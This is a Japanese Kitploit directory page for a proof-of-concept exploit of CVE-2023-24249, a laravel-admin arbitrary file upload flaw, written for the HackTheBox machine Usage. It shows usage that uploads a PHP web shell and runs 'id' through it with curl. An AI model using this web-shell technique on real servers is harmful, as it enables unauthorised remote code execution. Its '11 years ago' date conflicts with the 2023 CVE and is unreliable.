Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-24249-PoC — laravel-adminの任意ファイルアップロード脆弱性CVE-2023-24249の概念実証エクスプロイト。ペネトレーションテストとCTFチャレンジ用のWebシェル展開を可能にする。 | Kitploit
ツール/GitHubGitHub/ldb33/cve-2023-24249-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト
GitHubldb33/cve-2023-24249-poc

CVE-2023-24249-PoC

laravel-adminの任意ファイルアップロード脆弱性CVE-2023-24249の概念実証エクスプロイト。ペネトレーションテストとCTFチャレンジ用のWebシェル展開を可能にする。

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-24249 PoC

CVE-2023-24249 は、laravel-admin v1.8.19における任意のファイルアップロードの脆弱性です。このProof of Conceptは、この脆弱性を悪用してWebシェルをアップロードします。

このエクスプロイトは、HackTheBoxのイージーマシン Usage に対して使用するために作成されました。

使用例

root@kitploit:~
python3 CVE-2023-24249.py
[+] Web shell uploaded to http://admin.usage.htb/uploads/images/df18111ffa9f40264b52624c7d7d21b1.php

curl http://admin.usage.htb/uploads/images/df18111ffa9f40264b52624c7d7d21b1.php?c=id                                            
uid=1000(dash) gid=1000(dash) groups=1000(dash)
ツールをダウンロード